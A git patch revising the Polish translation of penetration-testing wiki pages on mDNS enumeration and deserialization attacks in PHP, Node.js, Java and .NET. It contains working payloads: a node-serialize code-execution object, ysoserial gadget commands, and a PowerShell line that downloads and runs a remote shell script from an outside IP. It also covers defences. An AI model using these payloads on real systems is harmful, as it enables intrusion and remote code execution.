From 05dd18dbf225f6135a155a942a2254b7e7ec34f0 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 14:38:50 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns --- .../5353-udp-multicast-dns-mdns.md | 8 +- src/pentesting-web/deserialization/README.md | 145 ++++++++++++------ 2 files changed, 101 insertions(+), 52 deletions(-) diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index f41e151a7..3e63396e5 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -21,7 +21,7 @@ Usługi są identyfikowane jako _._tcp lub _._udp w strefie .l ## Eksploracja i enumeracja sieci -- skanowanie celu nmap (bezpośredni mDNS na hoście): +- skanowanie celu nmap (bezpośrednie mDNS na hoście): ```bash nmap -sU -p 5353 --script=dns-service-discovery ``` @@ -98,9 +98,9 @@ Również zobacz ogólne LLMNR/NBNS/mDNS/WPAD spoofing i przepływy przechwytywa ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### Uwagi dotyczące ostatnich problemów z implementacją (przydatne do DoS/persistentności podczas zaangażowań) +### Uwagi dotyczące ostatnich problemów z implementacją (przydatne do DoS/persistencji podczas zaangażowań) -- Błędy awarii Avahi reachable-assertion i D-Bus (2023) mogą zakończyć działanie avahi-daemon na dystrybucjach Linuksa (np. CVE-2023-38469..38473, CVE-2023-1981), zakłócając odkrywanie usług na docelowych hostach do czasu ponownego uruchomienia. +- Błędy awarii Avahi reachable-assertion i D-Bus (2023) mogą zakończyć działanie avahi-daemon na dystrybucjach Linuxa (np. CVE-2023-38469..38473, CVE-2023-1981), zakłócając odkrywanie usług na docelowych hostach do czasu ponownego uruchomienia. - DoS bramy mDNS Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) pozwala sąsiednim atakującym na generowanie wysokiego obciążenia CPU i rozłączanie AP. Jeśli napotkasz bramę mDNS między VLAN-ami, bądź świadomy jej stabilności w przypadku źle sformułowanego lub wysokiego tempa mDNS. ## Rozważania obronne i OPSEC @@ -124,7 +124,7 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD - nmap NSE: `dns-service-discovery` i `broadcast-dns-service-discovery`. - Pholus: aktywne skanowanie, odwrotne mDNS, pomocnicy DoS i spoofingu. ```bash -# Pasywne sniff (sekundy timeout) +# Pasywne podsłuchiwanie (sekundy timeout) sudo python3 pholus3.py -stimeout 60 # Wymień typy usług sudo python3 pholus3.py -sscan diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 6da0062b6..8722bcc42 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -17,7 +17,7 @@ W PHP podczas procesów serializacji i deserializacji wykorzystywane są specyfi - `__sleep`: Wywoływana, gdy obiekt jest serializowany. Metoda ta powinna zwracać tablicę nazw wszystkich właściwości obiektu, które powinny być serializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych. - `__wakeup`: Wywoływana, gdy obiekt jest deserializowany. Służy do przywracania wszelkich połączeń z bazą danych, które mogły zostać utracone podczas serializacji oraz do wykonywania innych zadań ponownej inicjalizacji. - `__unserialize`: Ta metoda jest wywoływana zamiast `__wakeup` (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do `__wakeup`. -- `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Jest zazwyczaj używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych. +- `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zwykle jest używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych. - `__toString`: Ta metoda pozwala na traktowanie obiektu jako ciągu znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w nim, skutecznie zapewniając tekstową reprezentację obiektu. ```php [MyModel::class, DateTime::class] ]); ``` -Jeśli **`allowed_classes` jest pominięte _lub_ kod działa na PHP < 7.0**, wywołanie staje się **niebezpieczne**, ponieważ atakujący może stworzyć ładunek, który wykorzystuje magiczne metody, takie jak `__wakeup()` lub `__destruct()`, aby osiągnąć zdalne wykonanie kodu (RCE). +Jeśli **`allowed_classes` jest pominięte _lub_ kod działa na PHP < 7.0**, wywołanie staje się **niebezpieczne**, ponieważ atakujący może stworzyć ładunek, który wykorzystuje metody magiczne, takie jak `__wakeup()` lub `__destruct()`, aby osiągnąć zdalne wykonanie kodu (RCE). -#### Przykład z życia: Everest Forms (WordPress) CVE-2025-52709 +#### Przykład z rzeczywistego świata: Everest Forms (WordPress) CVE-2025-52709 Wtyczka WordPress **Everest Forms ≤ 3.2.2** próbowała być defensywna z pomocą opakowania, ale zapomniała o starszych wersjach PHP: ```php @@ -163,7 +163,7 @@ Jak tylko administrator wyświetlił wpis, obiekt został zainicjowany, a `SomeC **Wnioski** 1. Zawsze przekazuj `['allowed_classes' => false]` (lub ścisłą białą listę) podczas wywoływania `unserialize()`. 2. Audytuj defensywne opakowania – często zapominają o starszych gałęziach PHP. -3. Samo zaktualizowanie do **PHP ≥ 7.x** *nie* jest wystarczające: opcja nadal musi być podana explicite. +3. Samo zaktualizowanie do **PHP ≥ 7.x** *nie* jest wystarczające: opcja nadal musi być dostarczona explicite. --- @@ -222,9 +222,9 @@ python-yaml-deserialization.md ### Funkcje magiczne JS JS **nie ma "magicznych" funkcji** jak PHP czy Python, które będą wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego ich wywoływania**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\ -Jeśli wykorzystasz deserializację, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenie prototypu), możesz wykonać dowolny kod, gdy są one wywoływane. +Jeśli wykorzystasz deserializację, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenie prototypu), co pozwoli ci wykonać dowolny kod, gdy zostaną one wywołane. -Inny **"magiczny" sposób na wywołanie funkcji** bez bezpośredniego jej wywoływania to **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (obietnica). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **obietnicę** z **właściwością** o nazwie **"then" typu funkcji**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną obietnicę. _Śledź_ [_**ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._ +Innym **"magicznym" sposobem na wywołanie funkcji** bez bezpośredniego jej wywoływania jest **skompromentowanie obiektu, który jest zwracany przez funkcję asynchroniczną** (promise). Ponieważ, jeśli **przekształcisz** ten **obiekt zwracany** w inną **promise** z **właściwością** o nazwie **"then" typu funkcji**, zostanie on **wykonany** tylko dlatego, że jest zwracany przez inną promise. _Śledź_ [_**ten link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _po więcej informacji._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -275,18 +275,18 @@ Obiekt **serializowany** będzie wyglądał następująco: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, flaga `_$$ND_FUNC$$_` jest dołączana do zserializowanego obiektu. +Możesz zobaczyć w przykładzie, że gdy funkcja jest serializowana, do serializowanego obiektu dodawany jest znacznik `_$$ND_FUNC$$_`. -W pliku `node-serialize/lib/serialize.js` możesz znaleźć tę samą flagę i sposób, w jaki kod jej używa. +W pliku `node-serialize/lib/serialize.js` możesz znaleźć ten sam znacznik i sposób, w jaki kod go używa. ![](<../../images/image (351).png>) ![](<../../images/image (446).png>) -Jak możesz zobaczyć w ostatnim kawałku kodu, **jeśli flaga jest znaleziona**, używane jest `eval`, aby deserializować funkcję, więc zasadniczo **dane wejściowe użytkownika są używane wewnątrz funkcji `eval`**. +Jak możesz zobaczyć w ostatnim kawałku kodu, **jeśli znacznik zostanie znaleziony**, używana jest funkcja `eval` do deserializacji funkcji, więc zasadniczo **dane wejściowe użytkownika są używane wewnątrz funkcji `eval`**. -Jednak **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, co jest bardzo **mało prawdopodobne**.\ -Tak czy inaczej, możesz po prostu **zmodyfikować zserializowany obiekt**, **dodając nawiasy**, aby automatycznie wykonać zserializowaną funkcję, gdy obiekt zostanie deserializowany.\ +Jednak **samego serializowania** funkcji **nie wykona**, ponieważ konieczne byłoby, aby jakaś część kodu **wywoływała `y.rce`** w naszym przykładzie, co jest wysoce **mało prawdopodobne**.\ +Tak czy inaczej, możesz po prostu **zmodyfikować serializowany obiekt**, **dodając nawiasy**, aby automatycznie wykonać serializowaną funkcję, gdy obiekt zostanie deserializowany.\ W następnym kawałku kodu **zauważ ostatni nawias** i jak funkcja `unserialize` automatycznie wykona kod: ```javascript var serialize = require("node-serialize") @@ -334,7 +334,7 @@ funcster.deepDeserialize(desertest3) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -Pakiet **serialize-javascript** jest zaprojektowany wyłącznie do celów serializacji, nie posiada żadnych wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za wdrożenie własnej metody deserializacji. Bezpośrednie użycie `eval` jest sugerowane przez oficjalny przykład do deserializacji zserializowanych danych: +Pakiet **serialize-javascript** jest zaprojektowany wyłącznie do celów serializacji, nie posiada żadnych wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za wdrożenie własnej metody deserializacji. Bezpośrednie użycie `eval` jest sugerowane przez oficjalny przykład do deserializacji danych serializowanych: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") @@ -365,7 +365,7 @@ Na poniższych stronach można znaleźć informacje na temat nadużywania tej bi ## Java - HTTP -W Javie **wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji**. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań. +W Javie **wywołania zwrotne deserializacji są wykonywane w trakcie procesu deserializacji**. To wykonanie może być wykorzystywane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań. ### Odciski palców @@ -400,7 +400,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ``` ### Sprawdź, czy jest podatny -Jeśli chcesz **dowiedzieć się, jak działa exploit deserializacji Java**, powinieneś zapoznać się z [**Podstawową deserializacją Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializacją DNS Java**](java-dns-deserialization-and-gadgetprobe.md) oraz [**ładunkiem CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). +Jeśli chcesz **dowiedzieć się, jak działa exploit deserializacji w Javie**, powinieneś zapoznać się z [**Podstawową deserializacją Javy**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserializacją DNS w Javie**](java-dns-deserialization-and-gadgetprobe.md) oraz [**Ładunkiem CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Test białego pudełka @@ -423,19 +423,19 @@ Używając rozszerzenia Burp [**Java Deserialization Scanner**](java-dns-deseria [**Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner koncentruje się na **deserializacjach `ObjectInputStream`**. -Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wykryć podatności deserializacji** w **Burp**. Ten plugin wykryje **nie tylko podatności związane z `ObjectInputStream`**, ale **także** podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając ładunków typu sleep lub DNS.\ +Możesz także użyć [**Freddy**](https://github.com/nccgroup/freddy), aby **wykryć podatności** deserializacji w **Burp**. Ten plugin wykryje **nie tylko podatności związane z `ObjectInputStream`**, ale **także** podatności z bibliotek deserializacji **Json** i **Yml**. W trybie aktywnym spróbuje je potwierdzić, używając ładunków sleep lub DNS.\ [**Możesz znaleźć więcej informacji o Freddy tutaj.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **Test Serializacji** -Nie wszystko sprowadza się do sprawdzenia, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\ +Nie wszystko sprowadza się do sprawdzania, czy serwer używa jakiejkolwiek podatnej biblioteki. Czasami możesz być w stanie **zmienić dane wewnątrz zserializowanego obiektu i obejść niektóre kontrole** (może przyznać ci uprawnienia administratora w aplikacji webowej).\ Jeśli znajdziesz zserializowany obiekt java wysyłany do aplikacji webowej, **możesz użyć** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper), **aby wydrukować w bardziej czytelnej formie obiekt serializacji, który jest wysyłany**. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole. -### **Exploity** +### **Eksploit** #### **ysoserial** -Główne narzędzie do eksploatacji deserializacji Java to [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli ci używać złożonych poleceń (na przykład z użyciem pipe'ów).\ +Główne narzędzie do eksploatacji deserializacji Java to [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pobierz tutaj**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Możesz także rozważyć użycie [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), które pozwoli ci używać złożonych poleceń (na przykład z użyciem potoków).\ Zauważ, że to narzędzie jest **skoncentrowane** na eksploatacji **`ObjectInputStream`**.\ Zalecałbym **rozpoczęcie od ładunku "URLDNS"** **przed ładunkiem RCE**, aby sprawdzić, czy wstrzyknięcie jest możliwe. Tak czy inaczej, pamiętaj, że może być tak, że ładunek "URLDNS" nie działa, ale inny ładunek RCE działa. ```bash @@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -Podczas tworzenia ładunku dla **java.lang.Runtime.exec()** **nie możesz używać znaków specjalnych** takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz zrobić `echo -n "hello world"`, ale nie możesz zrobić `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz [użyć tej strony](http://www.jackson-t.ca/runtime-exec-payloads.html). +Kiedy tworzysz ładunek dla **java.lang.Runtime.exec()**, **nie możesz używać znaków specjalnych** takich jak ">" lub "|" do przekierowania wyjścia z wykonania, "$()" do wykonywania poleceń ani nawet **przekazywać argumentów** do polecenia oddzielonych **spacjami** (możesz zrobić `echo -n "hello world"`, ale nie możesz zrobić `python2 -c 'print "Hello world"'`). Aby poprawnie zakodować ładunek, możesz [użyć tej strony](http://www.jackson-t.ca/runtime-exec-payloads.html). Możesz użyć następnego skryptu do stworzenia **wszystkich możliwych ładunków do wykonania kodu** dla Windows i Linux, a następnie przetestować je na podatnej stronie internetowej: ```python @@ -507,7 +507,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji na temat tego narzędzia znajduje się w **prezentacji z wykładu**, w którym narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +Możesz **użyć** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **razem z ysoserial, aby stworzyć więcej exploitów**. Więcej informacji na temat tego narzędzia w **prezentacji z wykładu**, gdzie narzędzie zostało zaprezentowane: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec @@ -545,11 +545,11 @@ Przeczytaj więcej o tej bibliotece Java JSON: [https://www.alphabot.com/securit Java używa dużo serializacji do różnych celów, takich jak: -- **Żądania HTTP**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp. +- **HTTP requests**: Serializacja jest szeroko stosowana w zarządzaniu parametrami, ViewState, ciasteczkami itp. - **RMI (Remote Method Invocation)**: Protokół RMI w Javie, który w całości opiera się na serializacji, jest fundamentem komunikacji zdalnej w aplikacjach Java. -- **RMI przez HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów. +- **RMI over HTTP**: Ta metoda jest powszechnie używana przez aplikacje webowe oparte na Javie, wykorzystując serializację do wszystkich komunikacji obiektów. - **JMX (Java Management Extensions)**: JMX wykorzystuje serializację do przesyłania obiektów przez sieć. -- **Niestandardowe protokoły**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zaprezentowane w nadchodzących przykładach exploitów. +- **Custom Protocols**: W Javie standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie pokazane w nadchodzących przykładach exploitów. ### Prevention @@ -574,7 +574,7 @@ throw new java.io.IOException("Cannot be deserialized"); **Dostosowanie `java.io.ObjectInputStream`** to praktyczne podejście do zabezpieczania procesów deserializacji. Metoda ta jest odpowiednia, gdy: -- Kod deserializacji jest pod twoją kontrolą. +- Kod deserializacji jest pod Twoją kontrolą. - Klasy oczekiwane do deserializacji są znane. Nadpisz metodę **`resolveClass()`**, aby ograniczyć deserializację tylko do dozwolonych klas. Zapobiega to deserializacji jakiejkolwiek klasy, z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy `Bicycle`: @@ -598,7 +598,7 @@ return super.resolveClass(desc); } } ``` -**Używanie agenta Java do zwiększenia bezpieczeństwa** oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Metoda ta dotyczy głównie **czarnej listy szkodliwych klas**, używając parametru JVM: +**Używanie agenta Java do zwiększenia bezpieczeństwa** oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Metoda ta dotyczy głównie **czarnej listy szkodliwych klas**, przy użyciu parametru JVM: ``` -javaagent:name-of-agent.jar ``` @@ -620,10 +620,10 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów serializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji. +**Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów zserializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji. - **NotSoSerial** przechwytuje procesy deserializacji, aby zapobiec wykonaniu nieufnego kodu. -- **jdeserialize** umożliwia analizę serializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości. +- **jdeserialize** umożliwia analizę zserializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości. - **Kryo** to alternatywna ramka do serializacji, która kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo. ### Odniesienia @@ -637,7 +637,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Artykuł o deserializacji Java i .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** rozmowa: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Artykuł o deserializacji JSON w Java i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** rozmowa: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - CVE deserializacji: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Wstrzykiwanie JNDI i log4Shell @@ -650,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Message Service -> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do obsługi problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartych na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Produkty @@ -662,12 +662,12 @@ Istnieje kilka produktów wykorzystujących to middleware do wysyłania wiadomo ### Wykorzystanie -Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zwykle będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\ +Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zwykle będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty zserializowane, które będą deserializowane przez konsumenta/subskrybenta**.\ Oznacza to, że w tym wykorzystaniu wszystkie **klienty, które będą korzystać z tej wiadomości, zostaną zainfekowane**. Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność. -Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal jest podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji. +Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów zserializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal jest podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji. ### Odniesienia @@ -689,11 +689,11 @@ Kod źródłowy powinien być sprawdzany pod kątem wystąpień: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Należy skupić się na serializerach, które pozwalają na określenie typu przez zmienną pod kontrolą użytkownika. +Skup się na serializerach, które pozwalają na określenie typu przez zmienną kontrolowaną przez użytkownika. #### BlackBox -Poszukiwania powinny koncentrować się na ciągu zakodowanym w Base64 **AAEAAAD/////** lub jakimkolwiek podobnym wzorze, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`. +Poszukiwania powinny koncentrować się na zakodowanym w Base64 ciągu **AAEAAAD/////** lub jakimkolwiek podobnym wzorze, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`. ### ysoserial.net @@ -704,15 +704,15 @@ Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, mo Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.** - **`--gadget`** używane do wskazania gadżetu do nadużycia (wskazuje klasę/funkcję, która będzie nadużywana podczas deserializacji w celu wykonania poleceń). -- **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w zapleczu do deserializacji ładunku i użyć tej samej do jego serializacji) +- **`--formatter`**, używane do wskazania metody do zserializowania exploita (musisz wiedzieć, która biblioteka jest używana w backendzie do deserializacji ładunku i użyć tej samej do jego serializacji). - **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek przy użyciu **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać pewne **problemy z kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._ - **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState #### Więcej parametrów ysoserial.net -- `--minify` zapewni **mniejszy ładunek** (jeśli to możliwe) +- `--minify` dostarczy **mniejszy ładunek** (jeśli to możliwe) - `--raf -f Json.Net -c "anything"` To wskaże wszystkie gadżety, które mogą być używane z podanym formatterem (`Json.Net` w tym przypadku) -- `--sf xml` możesz **wskazać gadżet** (`-g`), a ysoserial.net będzie szukać formatterów zawierających "xml" (niezależnie od wielkości liter) +- `--sf xml` możesz **wskazać gadżet** (`-g`) a ysoserial.net będzie szukać formatterów zawierających "xml" (niezależnie od wielkości liter) **Przykłady ysoserial** do tworzenia exploitów: ```bash @@ -733,7 +733,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** ma również **bardzo interesujący parametr**, który pomaga lepiej zrozumieć, jak działa każdy exploit: `--test`\ -Jeśli wskażesz ten parametr, 